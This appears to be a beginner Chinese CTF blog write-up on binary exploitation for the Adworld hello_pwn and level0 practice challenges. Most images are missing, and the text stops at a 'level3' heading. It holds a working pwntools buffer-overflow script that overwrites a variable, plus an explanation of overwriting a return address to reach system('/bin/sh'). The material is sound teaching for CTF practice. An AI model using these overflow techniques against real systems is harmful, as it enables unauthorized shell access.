PWN我要入门!!!

一.攻防世界新手区

  1. hello_pwn
    在这里插入图片描述
    在这里插入图片描述
    覆盖掉数据

常规操作的两步
.在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
本地打通
在这里插入图片描述
远程打通content=0 此时运行脚本
在这里插入图片描述
练习本地打穿

from pwn import *

context(os='linux',arch="amd64",log_level="debug")
content=1

def main():
    if content == 1:
        wjk=process('./hello_pwn')
    else:
        wjk = remote("172.16.83.24")

    payload=b'a'*(0x6c-0x68)
    payload=payload + p64(1853186401)

    wjk.recvuntil("lets get helloworld for bof\n")
    wjk.sendline(payload)  发送一行数据,相当于在末尾加\n


    wjk.interactive() 与shell交互

main()

在这里插入图片描述
2.level0
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
用buf进行覆盖,覆盖到return函数处,return会跳到对应新的函数处,这里覆盖成我们想让它跳转到的函数地址
在这里插入图片描述
在这里插入图片描述
要跳转的函数地址
在这里插入图片描述

在这里插入图片描述

执行system('/bin/sh')从而拿到shell

在这里插入图片描述
3.level3

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值